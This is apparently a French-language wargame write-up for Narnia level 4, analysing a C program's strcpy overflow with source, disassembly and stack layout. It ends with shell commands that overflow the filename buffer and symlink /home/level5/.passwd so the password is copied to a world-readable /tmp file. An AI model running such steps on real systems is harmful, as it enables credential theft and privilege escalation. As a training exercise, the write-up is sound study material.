[Wargame] Narnia at intruded.net : Level 4
Bonsoir,
Et c’est parti pour le level4.
Le programme vulnérable :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
/*
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv){
int ifd, ofd;
char ofile[16] = "/dev/null";
char ifile[32];
char buf[32];
if(argc != 2){
printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]);
exit(-1);
}
/* open files */
strcpy(ifile, argv[1]);
if((ofd = open(ofile,O_RDWR)) < 0 ){
printf("error opening %s\n", ofile);
exit(-1);
}
if((ifd = open(ifile, O_RDONLY)) < 0 ){
printf("error opening %s\n", ifile);
exit(-1);
}
/* copy from file1 to file2 */
read(ifd, buf, sizeof(buf)-1);
write(ofd,buf, sizeof(buf)-1);
printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile);
/* close 'em */
close(ifd);
close(ofd);
exit(1);
}
A première vu, en regardant le code, on se rend vite compte qu’on a un strcpy(), ça pourrait être un buffer overflow.
Il y a ouverture d’un fichier en lecture et en écriture, si les fichiers n’existent pas on quitte le programme. La seule donnée qu’on contrôle est le nom du fichier d’entrée.
Ce n’est pas un simple overflow car si on essaie de re-écrire EIP et EBP, on aura un nom de fichier foireux dû à ifd et ofd (on ne connait pas les numéros de descripteurs de fichiers qui vont leur être attribué). Je suppose qu’il faut overflow dans ofile. On lit le fichier dans /home/level5/.passwd et on écrit dans un /tmp/lvl5pass par exemple. Regardons le code assembleur ;).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
Dump of assembler code for function main:
0x080484a4 <main+0>: push ebp
0x080484a5 <main+1>: mov ebp,esp
0x080484a7 <main+3>: push edi
0x080484a8 <main+4>: sub esp,0x74
0x080484ab <main+7>: and esp,0xfffffff0
0x080484ae <main+10>: mov eax,0x0
0x080484b3 <main+15>: add eax,0xf
0x080484b6 <main+18>: add eax,0xf
0x080484b9 <main+21>: shr eax,0x4
0x080484bc <main+24>: shl eax,0x4
0x080484bf <main+27>: sub esp,eax
0x080484c1 <main+29>: mov eax,ds:0x8048708
0x080484c6 <main+34>: mov DWORD PTR [ebp-40],eax
0x080484c9 <main+37>: mov eax,ds:0x804870c
0x080484ce <main+42>: mov DWORD PTR [ebp-36],eax
0x080484d1 <main+45>: movzx eax,WORD PTR ds:0x8048710
0x080484d8 <main+52>: mov WORD PTR [ebp-32],ax
0x080484dc <main+56>: lea edi,[ebp-30]
0x080484df <main+59>: cld
0x080484e0 <main+60>: mov ecx,0x6
0x080484e5 <main+65>: mov al,0x0
0x080484e7 <main+67>: rep stos BYTE PTR es:[edi],al
0x080484e9 <main+69>: cmp DWORD PTR [ebp+8],0x2
0x080484ed <main+73>: je 0x8048510 <main+108>
0x080484ef <main+75>: mov eax,DWORD PTR [ebp+12]
0x080484f2 <main+78>: mov eax,DWORD PTR [eax]
0x080484f4 <main+80>: mov DWORD PTR [esp+4],eax
0x080484f8 <main+84>: mov DWORD PTR [esp],0x8048718
0x080484ff <main+91>: call 0x8048384 <printf@plt>
0x08048504 <main+96>: mov DWORD PTR [esp],0xffffffff
0x0804850b <main+103>: call 0x80483a4 <exit@plt>
0x08048510 <main+108>: mov eax,DWORD PTR [ebp+12]
0x08048513 <main+111>: add eax,0x4
0x08048516 <main+114>: mov eax,DWORD PTR [eax]
0x08048518 <main+116>: mov DWORD PTR [esp+4],eax
0x0804851c <main+120>: lea eax,[ebp-72]
0x0804851f <main+123>: mov DWORD PTR [esp],eax
0x08048522 <main+126>: call 0x80483d4 <strcpy@plt>
0x08048527 <main+131>: mov DWORD PTR [esp+4],0x2
0x0804852f <main+139>: lea eax,[ebp-40]
0x08048532 <main+142>: mov DWORD PTR [esp],eax
0x08048535 <main+145>: call 0x8048394 <open@plt>
0x0804853a <main+150>: mov DWORD PTR [ebp-16],eax
0x0804853d <main+153>: cmp DWORD PTR [ebp-16],0x0
0x08048541 <main+157>: jns 0x8048562 <main+190>
0x08048543 <main+159>: lea eax,[ebp-40]
0x08048546 <main+162>: mov DWORD PTR [esp+4],eax
0x0804854a <main+166>: mov DWORD PTR [esp],0x8048750
0x08048551 <main+173>: call 0x8048384 <printf@plt>
0x08048556 <main+178>: mov DWORD PTR [esp],0xffffffff
0x0804855d <main+185>: call 0x80483a4 <exit@plt>
0x08048562 <main+190>: mov DWORD PTR [esp+4],0x0
0x0804856a <main+198>: lea eax,[ebp-72]
0x0804856d <main+201>: mov DWORD PTR [esp],eax
0x08048570 <main+204>: call 0x8048394 <open@plt>
0x08048575 <main+209>: mov DWORD PTR [ebp-12],eax
0x08048578 <main+212>: cmp DWORD PTR [ebp-12],0x0
0x0804857c <main+216>: jns 0x804859d <main+249>
0x0804857e <main+218>: lea eax,[ebp-72]
0x08048581 <main+221>: mov DWORD PTR [esp+4],eax
0x08048585 <main+225>: mov DWORD PTR [esp],0x8048750
0x0804858c <main+232>: call 0x8048384 <printf@plt>
0x08048591 <main+237>: mov DWORD PTR [esp],0xffffffff
0x08048598 <main+244>: call 0x80483a4 <exit@plt>
0x0804859d <main+249>: mov DWORD PTR [esp+8],0x1f
0x080485a5 <main+257>: lea eax,[ebp-104]
0x080485a8 <main+260>: mov DWORD PTR [esp+4],eax
0x080485ac <main+264>: mov eax,DWORD PTR [ebp-12]
0x080485af <main+267>: mov DWORD PTR [esp],eax
0x080485b2 <main+270>: call 0x80483b4 <read@plt>
0x080485b7 <main+275>: mov DWORD PTR [esp+8],0x1f
0x080485bf <main+283>: lea eax,[ebp-104]
0x080485c2 <main+286>: mov DWORD PTR [esp+4],eax
0x080485c6 <main+290>: mov eax,DWORD PTR [ebp-16]
0x080485c9 <main+293>: mov DWORD PTR [esp],eax
0x080485cc <main+296>: call 0x8048354 <write@plt>
0x080485d1 <main+301>: lea eax,[ebp-40]
0x080485d4 <main+304>: mov DWORD PTR [esp+8],eax
0x080485d8 <main+308>: lea eax,[ebp-72]
0x080485db <main+311>: mov DWORD PTR [esp+4],eax
0x080485df <main+315>: mov DWORD PTR [esp],0x8048764
0x080485e6 <main+322>: call 0x8048384 <printf@plt>
0x080485eb <main+327>: mov eax,DWORD PTR [ebp-12]
0x080485ee <main+330>: mov DWORD PTR [esp],eax
0x080485f1 <main+333>: call 0x8048364 <close@plt>
0x080485f6 <main+338>: mov eax,DWORD PTR [ebp-16]
0x080485f9 <main+341>: mov DWORD PTR [esp],eax
0x080485fc <main+344>: call 0x8048364 <close@plt>
0x08048601 <main+349>: mov DWORD PTR [esp],0x1
0x08048608 <main+356>: call 0x80483a4 <exit@plt>
0x0804860d <main+361>: nop
0x0804860e <main+362>: nop
0x0804860f <main+363>: nop
End of assembler dump.
Grâce aux offsets on peut reconstruire la stack frame :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[ebp+4] ret
[ebp] sfp
[ebp-4] arg2
[ebp-8] arg1
[ebp-12] ifd
[ebp-16] ofd
[ebp-24] ofile
...
[ebp-40] ofile
[ebp-44] ifile
...
[ebp-72] ifile
[ebp-76] buf
...
[ebp-104] buf
Taille de la zone locale : 116 octets.
L’analyse du code assembleur nous confirme bien notre hypothèse. Reste à crafter la string d’attaque ;). Sous les Unixoides, nous savons que les seuls caractères prohibés dans les noms de fichiers sont / ou NULL mais beaucoup de caractères non imprimables “ne passent pas” en console. Toute la chaine va donc forcément devoir représenter le nom de fichier d’input et une partie correspondra à celle d’output.
Voilà donc mon attaque :
1
2
3
4
5
6
mkdir -p /tmp/aaaaaaaaaaaaaaaaaaaaaaaaaaa/tmp/
ln -s /home/level5/.passwd /tmp/aaaaaaaaaaaaaaaaaaaaaaaaaaa/tmp/lvl5pass
touch /tmp/lvl5pass
chmod 777 /tmp/lvl5pass
/wargame/level4 /tmp/aaaaaaaaaaaaaaaaaaaaaaaaaaa/tmp/lvl5pass
cat /tmp/lvl5pass
Et voilà il nous reste plus qu’à récupérer le mot de passe du level 5 dans notre fichier ;). On aurait pu éviter le symlink mais j’ai trouvé ça plus pratique, surtout si on veut lire un autre fichier :p.
Le détail du buffer d’attaque : ifile = /tmp/aaaaaaaaaaaaaaaaaaaaaaaaaaa/tmp/lvl5pass -> fichier réellement lu : /home/level5/.passwd ofile = /tmp/lvl5pass
Conclusion
Evitez strcpy() comme la peste à moins que vous savez ce que vous faites et vérifiez les permissions des fichiers ;). Comme quoi ne croyez pas qu’un buffer overflow sert uniquement à “owner” l’EIP ;). Ca peut parfois servir à de l’information leakage et autres joyeuseries.
Sur ce,
A un prochain article ;),
Have phun,
m_101